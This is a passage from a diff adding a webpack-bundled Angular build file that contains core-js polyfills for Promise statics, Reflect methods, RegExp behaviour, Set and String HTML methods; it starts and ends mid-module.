"./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-species.js")(PROMISE); + +PromiseWrapper = __webpack_require__(/*! ../internals/path */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/path.js")[PROMISE]; + +// statics +$export({ target: PROMISE, stat: true, forced: FORCED }, { + // `Promise.reject` method + // https://tc39.github.io/ecma262/#sec-promise.reject + reject: function reject(r) { + var capability = newPromiseCapability(this); + capability.reject.call(undefined, r); + return capability.promise; + } +}); + +$export({ target: PROMISE, stat: true, forced: IS_PURE || FORCED }, { + // `Promise.resolve` method + // https://tc39.github.io/ecma262/#sec-promise.resolve + resolve: function resolve(x) { + return promiseResolve(IS_PURE && this === PromiseWrapper ? PromiseConstructor : this, x); + } +}); + +$export({ target: PROMISE, stat: true, forced: INCORRECT_ITERATION }, { + // `Promise.all` method + // https://tc39.github.io/ecma262/#sec-promise.all + all: function all(iterable) { + var C = this; + var capability = newPromiseCapability(C); + var resolve = capability.resolve; + var reject = capability.reject; + var result = perform(function () { + var values = []; + var counter = 0; + var remaining = 1; + iterate(iterable, function (promise) { + var index = counter++; + var alreadyCalled = false; + values.push(undefined); + remaining++; + C.resolve(promise).then(function (value) { + if (alreadyCalled) return; + alreadyCalled = true; + values[index] = value; + --remaining || resolve(values); + }, reject); + }); + --remaining || resolve(values); + }); + if (result.error) reject(result.value); + return capability.promise; + }, + // `Promise.race` method + // https://tc39.github.io/ecma262/#sec-promise.race + race: function race(iterable) { + var C = this; + var capability = newPromiseCapability(C); + var reject = capability.reject; + var result = perform(function () { + iterate(iterable, function (promise) { + C.resolve(promise).then(capability.resolve, reject); + }); + }); + if (result.error) reject(result.value); + return capability.promise; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.apply.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.apply.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var aFunction = __webpack_require__(/*! ../internals/a-function */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/a-function.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var nativeApply = (__webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js").Reflect || {}).apply; +var functionApply = Function.apply; + +// MS Edge argumentsList argument is optional +var OPTIONAL_ARGUMENTS_LIST = !__webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { + nativeApply(function () { /* empty */ }); +}); + +// `Reflect.apply` method +// https://tc39.github.io/ecma262/#sec-reflect.apply +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true, forced: OPTIONAL_ARGUMENTS_LIST }, { + apply: function apply(target, thisArgument, argumentsList) { + aFunction(target); + anObject(argumentsList); + return nativeApply + ? nativeApply(target, thisArgument, argumentsList) + : functionApply.call(target, thisArgument, argumentsList); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.construct.js": +/*!*********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.construct.js ***! + \*********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var create = __webpack_require__(/*! ../internals/object-create */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-create.js"); +var aFunction = __webpack_require__(/*! ../internals/a-function */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/a-function.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var fails = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js"); +var bind = __webpack_require__(/*! ../internals/function-bind */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/function-bind.js"); +var nativeConstruct = (__webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js").Reflect || {}).construct; + +// `Reflect.construct` method +// https://tc39.github.io/ecma262/#sec-reflect.construct +// MS Edge supports only 2 arguments and argumentsList argument is optional +// FF Nightly sets third argument as `new.target`, but does not create `this` from it +var NEW_TARGET_BUG = fails(function () { + function F() { /* empty */ } + return !(nativeConstruct(function () { /* empty */ }, [], F) instanceof F); +}); +var ARGS_BUG = !fails(function () { + nativeConstruct(function () { /* empty */ }); +}); +var FORCED = NEW_TARGET_BUG || ARGS_BUG; + +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true, forced: FORCED, sham: FORCED }, { + construct: function construct(Target, args /* , newTarget */) { + aFunction(Target); + anObject(args); + var newTarget = arguments.length < 3 ? Target : aFunction(arguments[2]); + if (ARGS_BUG && !NEW_TARGET_BUG) return nativeConstruct(Target, args, newTarget); + if (Target == newTarget) { + // w/o altered newTarget, optimization for 0-4 arguments + switch (args.length) { + case 0: return new Target(); + case 1: return new Target(args[0]); + case 2: return new Target(args[0], args[1]); + case 3: return new Target(args[0], args[1], args[2]); + case 4: return new Target(args[0], args[1], args[2], args[3]); + } + // w/o altered newTarget, lot of arguments case + var $args = [null]; + $args.push.apply($args, args); + return new (bind.apply(Target, $args))(); + } + // with altered newTarget, not support built-in constructors + var proto = newTarget.prototype; + var instance = create(isObject(proto) ? proto : Object.prototype); + var result = Function.apply.call(Target, instance, args); + return isObject(result) ? result : instance; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.define-property.js": +/*!***************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.define-property.js ***! + \***************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var definePropertyModule = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var toPrimitive = __webpack_require__(/*! ../internals/to-primitive */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-primitive.js"); +var DESCRIPTORS = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js"); + +// MS Edge has broken Reflect.defineProperty - throwing instead of returning false +var ERROR_INSTEAD_OF_FALSE = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { + // eslint-disable-next-line no-undef + Reflect.defineProperty(definePropertyModule.f({}, 1, { value: 1 }), 1, { value: 2 }); +}); + +// `Reflect.defineProperty` method +// https://tc39.github.io/ecma262/#sec-reflect.defineproperty +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true, forced: ERROR_INSTEAD_OF_FALSE, sham: !DESCRIPTORS }, { + defineProperty: function defineProperty(target, propertyKey, attributes) { + anObject(target); + propertyKey = toPrimitive(propertyKey, true); + anObject(attributes); + try { + definePropertyModule.f(target, propertyKey, attributes); + return true; + } catch (error) { + return false; + } + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.delete-property.js": +/*!***************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.delete-property.js ***! + \***************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var getOwnPropertyDescriptor = __webpack_require__(/*! ../internals/object-get-own-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-descriptor.js").f; +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); + +// `Reflect.deleteProperty` method +// https://tc39.github.io/ecma262/#sec-reflect.deleteproperty +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true }, { + deleteProperty: function deleteProperty(target, propertyKey) { + var descriptor = getOwnPropertyDescriptor(anObject(target), propertyKey); + return descriptor && !descriptor.configurable ? false : delete target[propertyKey]; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.get-own-property-descriptor.js": +/*!***************************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.get-own-property-descriptor.js ***! + \***************************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var getOwnPropertyDescriptorModule = __webpack_require__(/*! ../internals/object-get-own-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-descriptor.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var DESCRIPTORS = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js"); + +// `Reflect.getOwnPropertyDescriptor` method +// https://tc39.github.io/ecma262/#sec-reflect.getownpropertydescriptor +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true, sham: !DESCRIPTORS }, { + getOwnPropertyDescriptor: function getOwnPropertyDescriptor(target, propertyKey) { + return getOwnPropertyDescriptorModule.f(anObject(target), propertyKey); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.get-prototype-of.js": +/*!****************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.get-prototype-of.js ***! + \****************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var objectGetPrototypeOf = __webpack_require__(/*! ../internals/object-get-prototype-of */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-prototype-of.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var CORRECT_PROTOTYPE_GETTER = __webpack_require__(/*! ../internals/correct-prototype-getter */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/correct-prototype-getter.js"); + +// `Reflect.getPrototypeOf` method +// https://tc39.github.io/ecma262/#sec-reflect.getprototypeof +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true, sham: !CORRECT_PROTOTYPE_GETTER }, { + getPrototypeOf: function getPrototypeOf(target) { + return objectGetPrototypeOf(anObject(target)); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.get.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.get.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var getOwnPropertyDescriptorModule = __webpack_require__(/*! ../internals/object-get-own-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-descriptor.js"); +var getPrototypeOf = __webpack_require__(/*! ../internals/object-get-prototype-of */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-prototype-of.js"); +var has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); + +// `Reflect.get` method +// https://tc39.github.io/ecma262/#sec-reflect.get +function get(target, propertyKey /* , receiver */) { + var receiver = arguments.length < 3 ? target : arguments[2]; + var descriptor, prototype; + if (anObject(target) === receiver) return target[propertyKey]; + if (descriptor = getOwnPropertyDescriptorModule.f(target, propertyKey)) return has(descriptor, 'value') + ? descriptor.value + : descriptor.get === undefined + ? undefined + : descriptor.get.call(receiver); + if (isObject(prototype = getPrototypeOf(target))) return get(prototype, propertyKey, receiver); +} + +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true }, { get: get }); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.has.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.has.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `Reflect.has` method +// https://tc39.github.io/ecma262/#sec-reflect.has +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true }, { + has: function has(target, propertyKey) { + return propertyKey in target; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.is-extensible.js": +/*!*************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.is-extensible.js ***! + \*************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var objectIsExtensible = Object.isExtensible; + +// `Reflect.isExtensible` method +// https://tc39.github.io/ecma262/#sec-reflect.isextensible +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true }, { + isExtensible: function isExtensible(target) { + anObject(target); + return objectIsExtensible ? objectIsExtensible(target) : true; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.own-keys.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.own-keys.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `Reflect.ownKeys` method +// https://tc39.github.io/ecma262/#sec-reflect.ownkeys +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true }, { ownKeys: __webpack_require__(/*! ../internals/own-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/own-keys.js") }); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.prevent-extensions.js": +/*!******************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.prevent-extensions.js ***! + \******************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var getBuiltIn = __webpack_require__(/*! ../internals/get-built-in */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/get-built-in.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var FREEZING = __webpack_require__(/*! ../internals/freezing */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/freezing.js"); + +// `Reflect.preventExtensions` method +// https://tc39.github.io/ecma262/#sec-reflect.preventextensions +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true, sham: !FREEZING }, { + preventExtensions: function preventExtensions(target) { + anObject(target); + try { + var objectPreventExtensions = getBuiltIn('Object', 'preventExtensions'); + if (objectPreventExtensions) objectPreventExtensions(target); + return true; + } catch (error) { + return false; + } + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.set-prototype-of.js": +/*!****************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.set-prototype-of.js ***! + \****************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var objectSetPrototypeOf = __webpack_require__(/*! ../internals/object-set-prototype-of */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-set-prototype-of.js"); +var validateSetPrototypeOfArguments = __webpack_require__(/*! ../internals/validate-set-prototype-of-arguments */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/validate-set-prototype-of-arguments.js"); + +// `Reflect.setPrototypeOf` method +// https://tc39.github.io/ecma262/#sec-reflect.setprototypeof +if (objectSetPrototypeOf) __webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true }, { + setPrototypeOf: function setPrototypeOf(target, proto) { + validateSetPrototypeOfArguments(target, proto); + try { + objectSetPrototypeOf(target, proto); + return true; + } catch (error) { + return false; + } + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.set.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.set.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var definePropertyModule = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js"); +var getOwnPropertyDescriptorModule = __webpack_require__(/*! ../internals/object-get-own-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-descriptor.js"); +var getPrototypeOf = __webpack_require__(/*! ../internals/object-get-prototype-of */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-prototype-of.js"); +var has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var createPropertyDescriptor = __webpack_require__(/*! ../internals/create-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-property-descriptor.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); + +// `Reflect.set` method +// https://tc39.github.io/ecma262/#sec-reflect.set +function set(target, propertyKey, V /* , receiver */) { + var receiver = arguments.length < 4 ? target : arguments[3]; + var ownDescriptor = getOwnPropertyDescriptorModule.f(anObject(target), propertyKey); + var existingDescriptor, prototype; + if (!ownDescriptor) { + if (isObject(prototype = getPrototypeOf(target))) { + return set(prototype, propertyKey, V, receiver); + } + ownDescriptor = createPropertyDescriptor(0); + } + if (has(ownDescriptor, 'value')) { + if (ownDescriptor.writable === false || !isObject(receiver)) return false; + if (existingDescriptor = getOwnPropertyDescriptorModule.f(receiver, propertyKey)) { + if (existingDescriptor.get || existingDescriptor.set || existingDescriptor.writable === false) return false; + existingDescriptor.value = V; + definePropertyModule.f(receiver, propertyKey, existingDescriptor); + } else definePropertyModule.f(receiver, propertyKey, createPropertyDescriptor(0, V)); + return true; + } + return ownDescriptor.set === undefined ? false : (ownDescriptor.set.call(receiver, V), true); +} + +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true }, { set: set }); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.regexp.constructor.js": +/*!**********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.regexp.constructor.js ***! + \**********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var DESCRIPTORS = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js"); +var MATCH = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('match'); +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); +var isForced = __webpack_require__(/*! ../internals/is-forced */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-forced.js"); +var inheritIfRequired = __webpack_require__(/*! ../internals/inherit-if-required */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/inherit-if-required.js"); +var defineProperty = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js").f; +var getOwnPropertyNames = __webpack_require__(/*! ../internals/object-get-own-property-names */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-names.js").f; +var isRegExp = __webpack_require__(/*! ../internals/is-regexp */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-regexp.js"); +var getFlags = __webpack_require__(/*! ../internals/regexp-flags */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/regexp-flags.js"); +var redefine = __webpack_require__(/*! ../internals/redefine */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine.js"); +var fails = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js"); +var NativeRegExp = global.RegExp; +var RegExpPrototype = NativeRegExp.prototype; +var re1 = /a/g; +var re2 = /a/g; + +// "new" should create a new object, old webkit bug +var CORRECT_NEW = new NativeRegExp(re1) !== re1; + +var FORCED = isForced('RegExp', DESCRIPTORS && (!CORRECT_NEW || fails(function () { + re2[MATCH] = false; + // RegExp constructor can alter flags and IsRegExp works correct with @@match + return NativeRegExp(re1) != re1 || NativeRegExp(re2) == re2 || NativeRegExp(re1, 'i') != '/a/i'; +}))); + +// `RegExp` constructor +// https://tc39.github.io/ecma262/#sec-regexp-constructor +if (FORCED) { + var RegExpWrapper = function RegExp(pattern, flags) { + var thisIsRegExp = this instanceof RegExpWrapper; + var patternIsRegExp = isRegExp(pattern); + var flagsAreUndefined = flags === undefined; + return !thisIsRegExp && patternIsRegExp && pattern.constructor === RegExpWrapper && flagsAreUndefined ? pattern + : inheritIfRequired(CORRECT_NEW + ? new NativeRegExp(patternIsRegExp && !flagsAreUndefined ? pattern.source : pattern, flags) + : NativeRegExp((patternIsRegExp = pattern instanceof RegExpWrapper) + ? pattern.source + : pattern, patternIsRegExp && flagsAreUndefined ? getFlags.call(pattern) : flags) + , thisIsRegExp ? this : RegExpPrototype, RegExpWrapper); + }; + var proxy = function (key) { + key in RegExpWrapper || defineProperty(RegExpWrapper, key, { + configurable: true, + get: function () { return NativeRegExp[key]; }, + set: function (it) { NativeRegExp[key] = it; } + }); + }; + var keys = getOwnPropertyNames(NativeRegExp); + var i = 0; + while (i < keys.length) proxy(keys[i++]); + RegExpPrototype.constructor = RegExpWrapper; + RegExpWrapper.prototype = RegExpPrototype; + redefine(global, 'RegExp', RegExpWrapper); +} + +// https://tc39.github.io/ecma262/#sec-get-regexp-@@species +__webpack_require__(/*! ../internals/set-species */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-species.js")('RegExp'); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.regexp.exec.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.regexp.exec.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var regexpExec = __webpack_require__(/*! ../internals/regexp-exec */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/regexp-exec.js"); + +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'RegExp', proto: true, forced: /./.exec !== regexpExec }, { + exec: regexpExec +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.regexp.flags.js": +/*!****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.regexp.flags.js ***! + \****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `RegExp.prototype.flags` getter +// https://tc39.github.io/ecma262/#sec-get-regexp.prototype.flags +if (__webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js") && /./g.flags != 'g') { + __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js").f(RegExp.prototype, 'flags', { + configurable: true, + get: __webpack_require__(/*! ../internals/regexp-flags */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/regexp-flags.js") + }); +} + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.regexp.to-string.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.regexp.to-string.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var fails = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js"); +var flags = __webpack_require__(/*! ../internals/regexp-flags */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/regexp-flags.js"); +var DESCRIPTORS = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js"); +var TO_STRING = 'toString'; +var nativeToString = /./[TO_STRING]; + +var NOT_GENERIC = fails(function () { return nativeToString.call({ source: 'a', flags: 'b' }) != '/a/b'; }); +// FF44- RegExp#toString has a wrong name +var INCORRECT_NAME = nativeToString.name != TO_STRING; + +// `RegExp.prototype.toString` method +// https://tc39.github.io/ecma262/#sec-regexp.prototype.tostring +if (NOT_GENERIC || INCORRECT_NAME) { + __webpack_require__(/*! ../internals/redefine */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine.js")(RegExp.prototype, TO_STRING, function toString() { + var R = anObject(this); + return '/'.concat(R.source, '/', + 'flags' in R ? R.flags : !DESCRIPTORS && R instanceof RegExp ? flags.call(R) : undefined); + }, { unsafe: true }); +} + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.set.js": +/*!*******************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.set.js ***! + \*******************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// `Set` constructor +// https://tc39.github.io/ecma262/#sec-set-objects +module.exports = __webpack_require__(/*! ../internals/collection */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection.js")('Set', function (get) { + return function Set() { return get(this, arguments.length > 0 ? arguments[0] : undefined); }; +}, __webpack_require__(/*! ../internals/collection-strong */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection-strong.js")); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.anchor.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.anchor.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var createHTML = __webpack_require__(/*! ../internals/create-html */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-html.js"); +var FORCED = __webpack_require__(/*! ../internals/forced-string-html-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/forced-string-html-method.js")('anchor'); + +// `String.prototype.anchor` method +// https://tc39.github.io/ecma262/#sec-string.prototype.anchor +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'String', proto: true, forced: FORCED }, { + anchor: function anchor(name) { + return createHTML(this, 'a', 'name', name); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.big.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.big.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var createHTML = __webpack_require__(/*! ../internals/create-html */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-html.js"); +var FORCED = __webpack_require__(/*! ../internals/forced-string-html-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/forced-string-html-method.js")('big'); + +// `String.prototype.big` method +// 